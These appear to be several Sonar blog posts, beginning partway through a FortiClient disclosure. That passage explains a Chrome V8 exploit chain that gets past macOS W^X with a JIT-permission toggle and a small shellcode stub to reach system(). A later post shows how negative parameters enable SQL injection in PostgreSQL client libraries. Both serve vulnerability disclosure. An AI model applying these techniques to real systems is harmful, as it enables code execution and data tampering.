To start, we looked through the chrome_v8_ndays repo for a suitable exploit that fits our Chrome version, 87.0.4280.88. We found CVE-2021-21224 to be fitting, as it was marked as exploitable in versions <90.0.4430.85, and the PoC did indeed crash our target. This CVE is a type confusion vulnerability caused by a TurboFan speculative optimisation bug when it assumed that it was safe to convert signed 32-bit integers to unsigned 32-bit integers (missing a speculation guard). For more details, @S1r1u5_ made a great root cause analysis.

We then set up a debugging environment to see where the exploit crashes instead of finishing properly. After adjusting some of the hardcoded offsets, we hit another roadblock. The original PoC used a WebAssembly object to allocate a page with RWX permissions, write shellcode to that page, and then execute it. However, when trying to write our shellcode, the process crashed. Even vmmap showed the page to have RWX permissions, so it should clearly be writable. What was happening?

It turns out that macOS comes with a security hardening against RWX pages. Such pages are dangerous because they allow attackers to write code to them and then cause it to be executed. To limit this, Apple introduced the write XOR execute (W^X) restriction, which adds additional permission bits to make a page either writable or executable, but never both at the same time. These bits are set per thread, so each thread can toggle its page access between writable and executable.

However JIT compilers frequently rely on memory being both writable and executable. To address that, Apple added a new API (per thread) to toggle pages from executable to writable. To access this API the com.apple.security.cs.allow-jit entitlement is needed to be set (which is the case in Electron as it is using a JIT compiler).

Since the page to overwrite was in the executable mode, the attacker has to find a way to flip the permission to writable first, then write the shellcode, flip the permission back, and execute it. We noticed that the WebAssembly technique gives the attacker a function-call primitive because the pointer to the RWX page inside the WebAssembly object can be overwritten to point to an arbitrary function. When calling a WebAssembly function from JavaScript, the engine will call this pointer, which is under the attacker's control.

The attacker can use this to call the _pthread_jit_write_protect_np() function that regular programs use to toggle a page's mode. It receives a boolean argument that specifies if the page should be executable or not. We noticed that the first argument of a function call into WebAssembly is passed in the x0 register, which is also where _pthread_jit_write_protect_np expects its boolean argument. This means that the attacker can toggle the RWX page's mode at will.

With this new gadget, the attacker can now unprotect the page, write a shellcode to it, protect it again (making it executable), and finally execute it. For our purpose, we only wrote a small shellcode stub that allowed us to call arbitrary functions with more controlled arguments:

mov x4, x0
mov x0, x2
mov x1, x3
br x4

With this, an attacker can call the dlopen() and dlsym() functions, which were already resolved in Chrome's Global Offset Table (GOT), to look up the address of the system() function, which was not yet resolved. Finally, the attacker can use system() to execute arbitrary OS commands, such as open -a Calculator.

First Stage Overview

In this first stage of the attack covered in this blog post, we demonstrated how an attacker can force users to connect to a rogue EMS by a link, then by sending a message window that contains an HTML code with a v8 exploit, the attacker can fully compromise the machine. After the machine is compromised, the attacker can get a reference to the previously connected EMS and connect back to it, essentially acting now as a malicious client.

CVSS Discrepancy

CVE-2025-22855, the vulnerability covered in this blog post, was rated as CVSS AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N Low (2.6) by Fortinet based on the premise of a malicious administrator executing JavaScript. However, our research demonstrates a more significant risk: the capability for arbitrary code execution on the machine, and the fact that a user can be tricked into connecting to a malicious EMS with just one click.

This was not the only case where our impact assessment differed. We have shared these concerns with Fortinet, but it seems our feedback has not led to a revision of the CVSS scores. We urge customers to install a patched version immediately, even though the CVSS scores assigned by Fortinet might make it look less urgent.

Patch

While our research uncovered several FortiClient code execution vulnerabilities. We decided to focus on the simplest, 'one-click outdated Electron' method, due to its simplicity and minimal user interaction. All discovered methods ultimately lead to the same result.

The vulnerabilities we discovered are fixed in the following versions:

CVE-2025-25251: fixed in FortiClientMac 7.4.3 and 7.2.9. Fix is also being backported to 7.0.
CVE-2025-31365: fixed in FortiClientMac 7.4.4 and 7.2.9
CVE-2025-22855: fixed in FortiClient EMS 7.4.3
CVE-2025-22859: fixed in FortiClient EMS 7.4.3; only EMS 7.4 (Linux-based) is affected by this issue.
CVE-2025-31366: fixed in FortiOS and FortiProxy versions 7.6.3 and 7.4.8

We urge customers to update their affected Fortinet products to the fixed versions.

Timeline

Date	Action
2024-11-20	We report all issues to Fortinet
2024-11-29	Fortinet acknowledges the receipt of the report
2024-12-18	Fortinet confirms the issues are being worked on
2025-01-28	CVE-2025-22855 and CVE-2025-22859 are assigned
2025-03-05	CVE-2025-25251 is assigned
2025-03-28	CVE-2025-31366 and CVE-2025-31365 are assigned
2025-04-08	CVE-2025-22855 is published
2025-04-08	Fortinet shares the CVSS scoring with us
2025-04-08	We request further clarification about the scoring
2025-04-10	Fortinet shares further CVSS details with us
2025-04-11	We provide our feedback regarding the CVSS scoring
2025-05-13	CVE-2025-22859 and CVE-2025-25251 are published

Summary

In this post, we've broken down a critical FortClient vulnerability that gives an attacker the power to execute arbitrary code with just a single click from the user. We also briefly mentioned how a compromised client could reconnect to the legitimate EMS server by leveraging a parameter stored in the localStorage, essentially turning a trusted client into a malicious one.

This sets the stage for our next article, where we'll dive deeper into this attack path and explore what a malicious client can achieve once connected to the EMS.

We would like to thank the Fortinet PSIRT for their collaboration and responsiveness in addressing these findings.

Solving the Engineering Productivity Paradox

Tariq Shaukat — Tue, 17 Jun 2025 13:00:00 GMT

TL;DR overview

The engineering productivity paradox describes why AI tools that dramatically accelerate code generation have not produced equivalent gains in overall engineering velocity—because AI-generated code still requires rigorous review, verification, and fixes.
Google's internal data showed only a 10% increase in engineering velocity despite AI generating roughly 30% of its code, illustrating how bottlenecks shift from writing to reviewing.
Applying systems thinking—optimizing the full development flow rather than isolated stages—is key to resolving the paradox; companies with strong code review cultures and tooling, like Google, are better insulated from quality regressions.
SonarQube's AI Code Assurance capability helps organizations define and enforce quality standards across AI-generated code, giving leaders and regulators confidence that AI risks are actively managed.

"Today, more than a quarter of all new code at Google is generated by AI, then reviewed and accepted by engineers. This helps our engineers do more and move faster.”

That’s what Sundar Pichai, CEO of Alphabet, said in their Q3 2024 earnings call. And in their most recent call, Sundar updated that number to “well over 30% now.”

But here's where things get interesting. On the Lex Fridman podcast this month, Sundar clarified those comments, saying:

“Looking at Google, we’ve given various stats around 30% of code now uses AI-generated suggestions or whatever. But the most important metric, and we measure it carefully, is how much has our engineering velocity increased as a company due to AI, right? It’s tough to measure, and we really try to measure it rigorously, and our estimates are that number is now at 10%.”

This has taken a lot of people by surprise. Casual observers were expecting a 30% increase in engineering productivity, so why only 10%?

I think the key point is right there in the original statement: “then reviewed and accepted by engineers.”

Sure, code is being written by AI, and it's being generated more quickly. But just like code written by a developer, that AI-generated code has to be scrutinized, verified, and fixed. We need to make sure it doesn't have any security issues, and crucially, that it's also reliable, maintainable, and understandable.

One of my favorite classes in graduate school was System Dynamics, taught by Professor John Sterman. Many of you are probably familiar with the concepts from the book "Thinking in Systems" by Donella Meadows. Systems thinking has been a foundational part of how I approach things throughout my professional life. My graduate research and first job were trying to improve overall factory productivity using an approach we ended up calling “flow balancing.” Basically, companies spent a lot of time fixing specific stages of the car assembly process, but productivity wasn’t changing. When you optimize one step of a process, you often end up creating side-effects or bottlenecks somewhere else that pretty much cancel out the benefit. Flow balancing optimized the end to end system of the factory, not just stage by stage.

History is repeating itself in software development. There's a huge focus on speeding up code production using tools like GitHub Copilot, Cursor, and others. And the results are honestly stunning, just like Sundar mentioned in his earnings call.

But, and this is a big "but," bottlenecks are popping up elsewhere. Issues are appearing in production, and issues in production are a lot more expensive and time consuming to fix. According to Harness, almost 60% of developers report experiencing problems with deployments at least half the time when using AI coding tools. In companies that let issues slip through the cracks until the code is shipped, I wouldn’t be surprised to see net productivity actually decrease.

Increasingly, the bottleneck is in the code review phase. And that's actually how it should be. AI-generated code absolutely must be reviewed before it's merged into your codebase, and definitely before it's deployed. Google has always had a strong code review culture, tools, and process, which is likely why they haven't seen a spike in issues from all that AI-generated code.

Many companies, however, don't have sufficient culture, tools, and processes in place for code reviews, and those companies are taking a big risk. Company leaders need to create a culture of high-quality code and thorough code review, reinforcing accountability at both the developer and the team level. But companies also need to provide the right tools to make this manageable. The speed of code generation, along with the complexity and sheer volume of AI-generated code, are all increasing rapidly.

That's where platforms like SonarQube come into play. Automated code assessment identifies and prioritizes potential issues, so developers can focus their time on the real problems. Companies that are doing this well are taking all the AI-generated code that gets accepted and analyzing it with SonarQube to give their developers a boost.

Culture and tooling are both critical, but so is process. Companies need to define and enforce standards for their AI-generated code (honestly, this should be done for all code, as a best practice). I’ve written about this before in “The Seven Habits of Highly Effective AI Coding.” SonarQube’s AI Code Assurance capability helps you define and enforce the gates and checkpoints, ensuring all your teams are meeting the established standards, and giving company leaders, corporate boards, and regulators confidence that AI risks are being managed.

AI has massive potential for improving the productivity of the software development lifecycle. Just remember to think about the whole system, measure true end-to-end performance, and avoid creating new, and potentially riskier, bottlenecks. Vibe, then Verify.

Sonar's journey to faster processing & lower costs

Claire Villard — Thu, 12 Jun 2025 15:00:00 GMT

*Co-authored with Csaba Feher

TL;DR overview

Sonar describes its engineering journey to improve the processing speed and reduce infrastructure costs of SonarQube Cloud analysis at scale, enabling the platform to analyze over 750 billion lines of code per day efficiently.
Key improvements came from parallelizing analysis workloads, optimizing database queries, and redesigning the pipeline architecture to reduce redundant computation across large codebases and monorepos.
Cost reduction strategies included moving to more efficient cloud infrastructure configurations and improving cache utilization, allowing Sonar to scale without proportional cost increases as analysis volumes grew.
These engineering investments directly benefit customers through faster pull request feedback, more reliable CI/CD pipeline performance, and a sustainable cost model for the SonarQube Cloud service.

In 2024, the Sonar engineering team worked on a several-month project to remove a performance bottleneck and transform our Processor service. The goal was to make it scalable, resilient, and cost effective while improving the user experience. This post details how we cut the file storage cost on SonarQube Cloud by 90 percent while extracting 3.4 TB of data from a relational database to a more suitable storage option.

Read on to learn more about our approach, how we looked at the problem, the techniques we used to validate our assumptions before delivering the change and the final solution.

Starting with “why”

SonarQube Cloud contains a component called the Processor service that is responsible for saving files into a relational database table running on PostgreSQL. This table stores two types of data: the content of the files in binary format and metadata associated with each file (like a hash of the content).

This table has an intense writing activity. Each time a row is updated or deleted, the previous version of the row is flagged as ready for physical deletion by the Postgres engine. Those lines are then purged by an automatic job, which sometimes causes the table to be locked and the platform to halt. By November 2024, we had reached the limits of storing files in a relational database—to avoid high maintenance costs of the current solution, we needed to reconsider the storage. Keeping the maintenance costs under control is vital to keep our budget available for innovation and improvements of our products, while preventing service disruptions or performance degradation.

Finding the right storage option

One of the lengthier operations performed by the Processor is saving and updating files, which put a heavy burden on the service. The speed of task processing is crucial for the user experience—the quicker it's executed, the quicker we can deliver results to the user. Changing the file storage solution is an opportunity to accelerate the process.

The File table contains around 3.4 TB of data and is constantly growing. Today, it comprises around 480 million rows, each representing a file and its metadata.

A new storage option had to be flexible, as various services will consume the data with different requirements. It needed to be fast and be scalable to accommodate the platform’s significant growth. Last but not least, it needed to be cost-efficient.

Finding the best possible storage service for our use case was the first step in defining the new solution. To begin, we knew we needed to answer two critical questions:

How should we store the files to ensure cost efficiency and appropriate access speed?
How can we ensure the service performs effectively within a reasonable timeframe, providing a good user experience and preventing users from waiting too long for their files?

The proof of concept

After an initial evaluation of options on the market, we determined our two best candidates were Amazon Simple Storage Service (Amazon S3) and Amazon Elastic File System (AWS EFS). As per our research, both of them satisfy the security requirements while offering scalable, durable, and fast file storage capabilities.

To choose the target solution, we need to ensure the performance of the service is satisfying our needs. We also want to compare S3 and EFS, and make sure the solution is cost effective.

Finally, we want to validate the access patterns for the metadata storage to make sure it suits the needs of the service.

To answer those questions, we put in place a proof of concept. We implemented it in the Processor to iterate faster and gather initial data. This strategy was faster than implementing a separate service. We also benefited from the existing monitoring of the service health and performance.

Here are the learnings of the first round of experimentation in a testing environment:

Writing the files on Amazon S3 using the synchronous client is forty times slower than saving them on the database. This performance is not acceptable.
By employing the Amazon S3 asynchronous client instead of the synchronous one, uploads can be processed in the background concurrently with other tasks. The overall duration is twice as long as saving the files in the database, which is within the acceptable margin.
Amazon EFS is three times slower than the database, which is also within the acceptable range. It is also trickier to set up, since you have to mount the file system on each client service which is less convenient than the S3 API.
Amazon DynamoDB performance is as fast as expected, even if the environment is neither warmed up nor loaded with data similar to production.

Those first results validated the approach but failed to exclude a candidate for the file storage. It was time to face reality, get data from actual production, and check how each option behaved under load.

The experiment

We refined the proof of concept to make it temporarily production-ready by implementing more tests, enhancing robustness, improving monitoring precision, and, most importantly, adding safeguards to ensure that our experiment wouldn't negatively impact the user experience if we encountered any issues.

To ensure our experiment wouldn't have any impact on our users, at first, the new storages were turned off and we used a feature flag to gradually increase the number of processing tasks using them.

We started at 1 percent and increased to 10 percent after one day, then 50 percent after one more day since the measures were good. Finally, we ran the experiment at 50 percent for a little over a day and stopped it as we gathered enough data. We processed 1 million tasks during this experiment, with 500,000 tasks utilizing the new feature.

What did we learn by doing this?

Amazon S3 is the fastest option with the asynchronous client, but saving each file individually is costly due to the high number of requests, which significantly impacts Amazon S3's pricing.
Amazon EFS also demonstrated fast performance and is more cost effective than S3.
Throughout the experiment, we encountered zero errors.
We have a comfortable margin of one minute on average between the end of the file-saving process and the end of the Processor. During the experiment, less than fifty Processor tasks (over half a million) had to wait for the file-saving process to complete.

Regarding cost, obtaining accurate numbers from production helped us refine our simulation. It validated that the Amazon DynamoDB estimates were reasonably accurate.

On the file storage side, we saved an average of twenty-four files per task, which leads to slightly more than 12 million files saved during the experiment. Amazon EFS was half the price of Amazon S3 for our use case.

Amazon S3 is our preferred option for several technical reasons:

It is a fully-managed service, therefore more flexible for future use cases to consume data from other services,
more scalable, and
offers a better price evolution when our platform grows.

Since cost efficiency is an important part of running a sustainable cloud platform, we had to evaluate options to make the Amazon S3 bill for our use case more competitive. Our use cases are compatible with bundling several files in one archive. Saving the files in bundles of twenty files would reduce the cost of S3 to only 10 percent of the EFS cost.

From being twice the price to just 10 percent of the price...We have a winner!

Running this experiment helped us feel confident about choosing a solution without making assumptions about our most important criteria: user experience (hence service performance) and cost.

Going further

While exploring the chosen storage type, we realized the change could significantly alter our architecture. Replacing the storage solution might necessitate batching or impact performance. We initially set out to select one technology over another, but this is not the end of our journey. To fully leverage the new storage’s potential, we needed to step back and challenge the current design.

Let’s examine how the module looked before the change to understand how the architecture was impacted. A processing unit handles incoming requests and all their data sequentially, saving their content to the database. The requests contain several different pieces of information including the files themselves and their metadata.

If we continue with the sequential processing approach, introducing a data storage module with different read-write performance could profoundly impact the duration of the task processing. Performance is one of our top priorities, and we cannot afford to compromise on the Processor service’s runtime.

The original monolithic architecture of this service limited SonarQube Cloud's ability to become a global service, scale, and serve clients in multiple countries and regions. It enabled us to grow, and now we face limitations on vertical scalability, meaning we can’t scale the system by simply upgrading the hardware under our services. SonarQube Cloud needs to be decomposed into smaller microservices to overcome these limitations. At the same time as this transformation, we also leveraged the benefits of a distributed architecture. It was easier to slice the architecture and have clear ownership and team autonomy for each subsystem than on a monolithic design.

We can extract the file handling from the main processing flow to enable parallel execution; this also opens the door to moving all the logic related to the files out of the monolithic system. This new architecture not only overcomes the limitations of the original monolithic design but also offers scalability and flexibility. Creating an event-driven architecture for processing requests allowed efficient handling of large volumes of data. The REST API designed to access the data provides a simple and consistent way to interact with the system.

During our discovery, we could separate the data necessary only for the Processor from the data related to the “file” resource. Keeping the data local to the microservice is essential to enable efficient communication and respect boundaries. We created a Processor metadata storage, which holds part of the data that used to be bundled with files in the monolith.

This design offers several advantages. By ensuring files are ready only after the Processor completes its data handling, we can relax performance requirements from milliseconds to seconds. Furthermore, we can consolidate duplicated code and centralize distributed logic, leading to improved maintainability and easier management of future changes. The asynchronous nature of this approach also provides better control over scaling, while the REST API enables versioning of any system modifications and establishes a clear contract for interacting with the file domain.

The results

In conclusion, the architectural changes we implemented reduced users' perceived task duration by 10 percent. By lowering the wait time for results, users can benefit from SonarQube Cloud analysis sooner. Consequently, this leads to a quicker feedback cycle and promotes the development of well-structured, maintainable code.

Through experimentation and analysis, we determined that using Amazon S3 with bundled files offers the best balance of performance and cost for our file storage needs, for 10 percent of the cost of Amazon EFS. This experiment emphasized the importance of testing and collecting data from production environments to make well-informed decisions.

In the long run, these improvements eliminated a significant performance and scalability bottleneck for SonarQube Cloud. By enhancing the platform's scalability and resilience, we are ensuring its capacity for future growth, maintaining a positive user experience under increasing workloads, and supporting the addition of new high-value features. This also prepares the ground for future improvements on SonarQube Server.

Find out how you can drive efficiencies with Sonar. Check out our Developer Guides.

Double Dash, Double Trouble: A Subtle SQL Injection Flaw

Paul Gerste — Tue, 10 Jun 2025 15:00:00 GMT

TL;DR overview

A subtle SQL injection flaw in popular PostgreSQL client libraries (including PgJDBC CVE-2024-1597) allows negative numeric parameters to create a `--` line comment, altering query syntax even when prepared statements are used.
The vulnerability only triggers when libraries run in simple query mode—required by tools like older PgBouncer—and is fixed by wrapping negative numbers in parentheses before interpolation.
Affected libraries include PgJDBC, Redshift JDBC Driver, pg-promise, pgx, pg, and pgdriver; patches have been released for most, though pg and pgdriver remain unpatched.
This case demonstrates why SCA (software composition analysis) is essential: even correct first-party code can be vulnerable if a third-party dependency has a security flaw.

When developing modern database applications, developers have a lot of tools at their disposal to handle SQL queries securely. Object-Relational Mappers (ORMs) and query builders abstract away much of the query language and let developers focus on the business logic. Under the hood of those, or used directly, prepared statements handle the proper escaping of any user input that becomes part of a database query to prevent SQL injection vulnerabilities.

Some databases even come with native support for prepared statements, making it easy to separate queries and parameters from start to end. However, in cases where there is no such native feature, the database client library has to insert the parameters into the query string safely and ensure they are properly escaped.

Usually, string parameters are the ones that can cause trouble because they can alter the syntax of a query if they're not properly escaped. But are there also other data types that might alter the syntax of a query? Let's dive into a subtle vulnerability we found in and reported to several popular SQL client libraries.

Impact

We found the following libraries to be vulnerable to SQL Injection via line comment creation:

CVE-2024-1597: PgJDBC (<42.7.2, fix also backported to older branches)
CVE-2024-32888: Redshift JDBC Driver (<2.1.0.28)
CVE-2025-29744: pg-promise (<11.5.5)
CVE-2024-27289: pgx (<4.18.3)
CVE-2024-44905: pg (unpatched)
CVE-2024-44906: pgdriver (unpatched)

In the right circumstances, an attacker can inject into SQL queries and execute malicious statements. That means even when you handle SQL queries securely in your first-party code and do everything to prevent SQL injection attacks, using a vulnerable third-party library can still make your application vulnerable. For the attack to work, a prepared statement of a certain structure must be used, which we will detail below. In addition, the library has to use the simple query protocol when communicating with the PostgreSQL server.

As part of our new SonarQube Advanced Security offering, the included Software Composition Analysis (SCA) functionality now detects known vulnerabilities in third-party open source dependencies, such as the vulnerabilities explained in this blog post. We support a wide range of package ecosystems, including Maven/Gradle, npm, and Go.

Technical Details

To understand what type of character combinations can change a parsing context in SQL, let's look at a bunch of syntax constructs that change the parsing state for longer sequences:

Strings. The classic, breaking out of strings leads to SQL injection because strings can contain almost any characters that can now become SQL syntax. Delimited with double quotes or single quotes, depending on the SQL dialect.

Identifiers. Similar to strings. Less likely to be injected into since user input is mostly used for values, not for column names. Delimited with quotes or backticks, depending on the SQL dialect.

Comments. There are line comments, starting with --, which comment out the rest of the line. Some Databases also support # as the start of a line comment. There are also multi-line or block comments, starting with /* and ending with */. These comment out everything between the start and end delimiters, and some databases even allow nested comments.

Looking further at comment syntax, we can see an interesting difference between different database implementations: MySQL requires a trailing space after the two dashes (--) that start a line comment. They explain the reason for this in their documentation:

"[...] the -- start-comment sequence is accepted as such, but must be followed by a whitespace character such as a space or newline. The space is intended to prevent problems with generated SQL queries that use constructs [...]"

They also list an example of such a problem. Let's use this prepared statement as an example:

The update statement is supposed to charge a user account and has two parameters. $1 is replaced with the charge, and $2 is replaced with the account ID. After filling them in, the statement looks like this:

The balance of the account with ID acc-1337 will be decreased by 42. However, what happens when the first parameter is negative? The filled-in statement would look like this:

The syntax has become ambiguous! Should the database parse it as subtracting -42, or is there a line comment? To avoid this ambiguity, MySQL requires a whitespace after the -- start-comment sequence. But what about other databases?

Other popular SQL-based databases do not seem to require whitespace! SQLite, PostgreSQL, Oracle Database, and Microsoft SQL Server all support -- to start a line comment but do not prevent the ambiguity. So, is there a way that an attacker could exploit this?

Looking Closer at PostgreSQL

To answer this question, we examined PostgreSQL client libraries more closely because there are plenty of open source ones. But very early on, we noticed that PostgreSQL might be immune due to its native support of prepared statements.

PostgreSQL supports two query modes: simple and extended. In the simple mode, an SQL string is sent to the database, and the result is returned. If there are user-controlled parameters in the query, the client has to insert them into the query string before sending it. On the other hand, there's the extended query mode that sends a prepared statement and its parameter values separately. This means that the values are never interpolated into the query because the database treats them separately, which in turn means that parameter values can never alter the syntax of a query.

However, many PostgreSQL client libraries either only support the simple query mode or let users disable the extended mode. In fact, some database tooling requires the use of the simple mode, such as earlier versions of PgBouncer or Datadog's Database Monitoring for specific configurations.

When running in simple query mode, libraries have to interpolate parameter values into the query themselves. Let's take a look at how PgJDBC, the most popular PostgreSQL driver for Java, handled the query SELECT 1-? for a parameter value of -1. This is the query that is sent to the database:

Looking at the result, we can see that PostgreSQL indeed parses the -- sequence as the start of a line comment:

We also confirmed that other libraries suffer from the same flaw: the JS library pg-promise and the Go libraries pgx, pg, and pgdriver. After our disclosure, Amazon's Redshift JDBC Driver was also patched.

Gauging the Impact

After confirming that it is possible to alter the syntax of a prepared statement by causing the creation of a line comment, we wanted to know if it's just possible to comment out parts of a query or if attackers could even inject new syntax. We experimented with several queries until we realized another fact about PostgreSQL: multi-line string literals are supported!

Let's consider the example query from the beginning again:

When a charge of -1 and an account ID of foo\nbar are passed as the parameter values, the resulting interpolated query looks like this:

When the PostgreSQL database parses this query, it will ignore the comment, resulting in this:

As we can see, the query syntax has been altered! In its current state, it will result in a syntax error, proving the syntax modification. However, since the account ID is user-controlled, an attacker could provide a value that modifies the query without causing syntax errors. Here, it comes in handy for the attacker that PostgreSQL strings can be multi-line:

With this, it is clear that attackers can inject malicious SQL statements. Luckily, the requirements are quite high, and such queries are likely not very widespread. However, to be on the safe side, it is still important to update your dependencies to fixed versions. In the case of pg and pgdriver, there are no patches available as of today, so we recommend switching to an alternative, such as pgx.

With SonarQube SCA, you will be alerted if any of your dependencies contain a known vulnerability. SonarQube will recommend the dependency version with the fix in it, or recommend switching to an alternative if there is no fix.

Patch

The affected libraries opted to break the ambiguity of line comment syntax in PostgreSQL by adding a space in front of negative numbers or by wrapping them in parentheses. For example, pg-promise was able to patch the vulnerability by changing only two lines of code:

  number(num) {
      if (typeof num === 'bigint' || Number.isFinite(num)) {
-         return num.toString();
+         const s = num.toString();
+         return num < 0 ? `(${s})` : s;
      }
      // [...]
  }

Timeline

Date	Action
2024-02-15	We ask the maintainers of pgx, pg, pgdriver, and pg-promise for security contacts
2024-02-15	We report the issues to the maintainers of PgJDBC and pgx
2024-02-15	The pg-promise maintainer requests vulnerability details to be given in a public GitHub discussion
2024-02-15	We open a public GitHub discussion in the pg-promise repository
2024-02-21	We report the issues to the maintainer of pg and pgdriver
2024-02-21	The PgJDBC maintainers release fixed versions (42.2.28, 42.2.28.jre7, 42.3.9, 42.4.4, 42.5.5, 42.6.1, 42.7.2)
2024-03-04	The pgx maintainer releases a fix in version 4.18.2
2024-03-22	The pg-promise maintainer releases a fix in version 11.5.5
2024-05-15	The Redshift JDBC Driver maintainers release a fix in version 2.1.0.28
2024-06-03	We sent a final reminder about the elapsed disclosure deadline to the maintainer of pg and pgdriver

Summary

Even if developers use all available tools to write a secure application, vulnerabilities can still exist due to issues in third-party packages. In this case, the use of prepared statements still allowed for SQL injection in certain scenarios. This underlines the importance of including third-party code in your security testing to get a complete picture.

This is why we at Sonar are adding security capabilities such as Advanced SAST and SCA to help you keep your code secure. With Advanced SAST, our analysis engine continues to follow attacker-controlled data flows into third-party open source packages. With SCA, you get alerted when you are using known vulnerable dependencies, such as the ones presented in this blog post.

SonarQube Server 2025 Release 3 Announcement

Robert Curlee — Thu, 29 May 2025 14:00:00 GMT

TL;DR overview

SonarQube Server 2025 Release 3 marks the General Availability of SonarQube Advanced Security, unifying Software Composition Analysis (SCA) and advanced SAST into a single purchasable license for Enterprise Edition and above.
AI CodeFix exits Early Access and becomes fully generally available, now including AI fix suggestions directly within the IDE through Connected Mode—enabling one-click remediation without leaving the coding environment.
New compliance additions include MISRA C++:2023 support, CWE Top 25 2024, and OWASP Mobile Top 10, expanding Sonar's coverage for safety-critical and mobile application security requirements.
Language coverage grows with the addition of SAST for Kotlin and new Rust analysis support, addressing gaps for Android development teams and systems programming projects.

Sonar is excited to announce SonarQube Server 2025 Release 3.

Key Capabilities of Release 3

Security advancements: GA of Advanced Security (SCA & advanced SAST), SAST for Kotlin, expanded secrets detection
AI progress: End of Early Access for AI CodeFix including AI fix suggestions directly within the IDE
Expanded compliance: MISRA C++:2023, CWE Top 25 2024, OWASP Mobile Top 10
Enhanced language coverage: new Rust, PySpark and more Java protection

SonarQube Server 2025 Release 3 introduces significant updates focused on bringing code quality and code security together into a single surface area. This release helps you unify your tooling to achieve secure, well maintained first-party and third-party code with the General Availability (GA) of Advanced Security featuring Software Composition Analysis (SCA) and advanced Static Application Security Testing (SAST), the addition of SAST for Kotlin, and even more secrets detection. Fix issues with a single click as early as in the IDE now that AI CodeFix has ended Early Access, is now available only in Enterprise Edition and Data Center Edition, and includes automated remediation suggestions within the IDE. Ensure your code meets strict compliance standards with expanded MISRA C++:2023 rules, and new reports for CWE Top 25 2024 and OWASP Mobile Top 10. Plus we’ve enhanced our language coverage including newly added Rust and PySpark support, and more native protection for Java 22 and Java 23.

The 2025 Release 3 announcement and our SonarQube Server release notes provide more details about the release.

Are you still using an older version of SonarQube Server?

If you’re on a version older than the 2025 Release 1 LTA, upgrade to the SonarQube Server LTA before upgrading to the latest version. Check out this helpful checklist for a smoother upgrade. Watch the on-demand LTA upgrade webinar, which explains a step-by-step approach and highlights common pitfalls encountered during the upgrade.

Advances in SonarQube's Bug Detection

Denis Troller — Wed, 28 May 2025 14:00:00 GMT

TL;DR overview

SonarQube's bug detection capabilities have advanced through improvements to symbolic execution and cross-function data flow analysis, enabling detection of complex multi-step bugs that earlier static analysis techniques missed.
New bug detection rules address patterns like null pointer dereferences after conditional checks, resource leaks in error paths, and incorrect use of concurrency primitives across Java, C++, and other supported languages.
Advances in the analysis engine reduce false positives by better modeling program state across function boundaries, giving developers higher-confidence actionable results.
Ongoing bug detection improvements are informed by Sonar's vulnerability research team, which analyzes real-world defects in popular open-source projects to identify patterns worth adding to the rule set.

At Sonar, we pride ourselves on bringing the best analysis to our users. To us, this means SonarQube accurately finds difficult to spot bugs before they become a problem. This is true whether we talk about issues impacting the Maintainability, the Reliability, or the Security of your software.

Today I want to share advances we are making in our bug detection technology which detects issues that impact reliability.

What are Reliability-impacting issues?

Reliability issues are what any developer would generally classify as “bugs”. This is a class of issues that definitely requires immediate attention in the same way security issues warrant quick resolution. If left in the code that makes it to production, the impact will be felt by your end users directly causing them to be frustrated with the poor behavior of your software. They can lead to a cascade of problems for you

Your software crashes
Your software misbehaves in terms of the flow of your code, which means your business logic is somewhat wrong
You have to divert developers from their current focus to understand, debug, and fix the problem
Your team’s velocity in delivering new features is reduced because of increased work to resolve issues
You might have to deal with SLA penalties with your customers
The general public perception of your software and company is negatively impacted

Any of these outcomes are bad enough on their own, but, taken together, they definitely mean any such issue should be prevented from making it into production at all costs. The nature of these issues is also that, very often, they will manifest only under a specific set of circumstances, lurking in your software and appearing weeks, maybe months after release. As a result, diagnosing and resolving them can take even longer, since by then your team has probably moved on to work on coding different features or functionality.

To give you an idea of the impacts of bugs on your dev team, industry data consistently indicates that developers spend between 30% to 50% of their working hours on identifying and resolving software defects (Stripe, The Developer Coefficient, 2018). Some of this time is accounted for in the development phase during unit testing, but a good chunk of it comes from discovering bugs in production because finding issues later in the development cycle takes developers longer to resolve them.

Because of this “high priority” status, it is important to make sure the issues being raised are relevant. This is a problem similar to security issues. Because issues need to be dealt with as soon as they are detected, and because they often require more time to understand and fix, false-positives must be kept to a minimum so as not to overload developers with bogus findings.

But wait, we test our code!

Of course, the first line of defense against introducing bugs is to test your software. But the reality is, no amount of testing will catch everything. Some bugs are more immune to being detected by tests. The sheer complexity of modern software makes exhaustively testing all code paths with all potential inputs impossible.

Moving from measuring code test coverage at the line level to branch and conditional coverage helps, but it is simply not feasible to reach a level that could catch everything. Developers would spend more time writing tests than features, voiding any productivity gains from not having to debug code.

Without a doubt, testing is a critical aspect of developing high quality code, but it is simply not enough on its own.

What about AI generated code?

AI-generated is a hot topic these days, and for good reason. The promises it makes in terms of productivity gains, and the incredible speed of progress in the field, are too tempting to ignore. However, AI models are trained on human-written code. There is no reason today to believe AI-generated code will be less prone to these kinds of issues.

In fact, it is probable that using AI agents to write code will lead to worse outcomes in terms of time spent debugging. The time spent by a developer debugging an issue increases when the code has been written by another person. When the developer is not familiar with the specific code being debugged, it takes more time to understand it, and thus to debug it. It also increases the likelihood that making a change will cause other undetected problems. This stems from the fact that debugging code is about formulating hypotheses and testing them. With less knowledge about the code, the developer has to first formulate broader hypotheses before homing in on the actual problem, which takes more time (Arab, Liang, Hong, LaToza, How developers choose debugging strategies for challenging web application defects, 2025).

It stands to reason that AI agents will generate the same proportion of bugs as humans. We expect AI (through code assistants or agents) to dramatically increase the speed at which code is created, resulting in an exponentially growing quantity of code and larger codebases with even more bugs. All these facts will act as multipliers on the time lost to debugging, because no developer in the team will be familiar with the code. This means more cost sunk to debugging, and less time spent developing new features.

Still, because of the initial productivity gains, nobody is ready to pass on this opportunity. The best solution is to equip the agent with the safety net of a tool that finds those bugs.

Advances in Java and Python bug detection

Because we know these issues can have a serious impact on the stability of applications, we chose to develop advanced bug detection engines for the most popular languages. One of these engines targets Java and Python. This engine is cross-procedural, which means it can find more complex bugs than standard approaches.

An engine that only looks at methods in isolation will find potential bugs. However, it will either be perceived as being noisy with too many false positives because, by design, your codebase might never make use of the method in a dangerous way, or too cautious for fear of raising too many false-positives. The best way to systematically reduce false-positives is to know more about the context, and look at how the code actually unfolds in its entirety. This is what our engine does.

It’s an engine because such analysis goes beyond simple rules. It traverses the code to figure out what could happen if your app were to execute in a myriad of different ways. The objective is to detect which paths lead to an issue. As a result we have a much higher true positive and very low false positive rate because of this complex analysis.

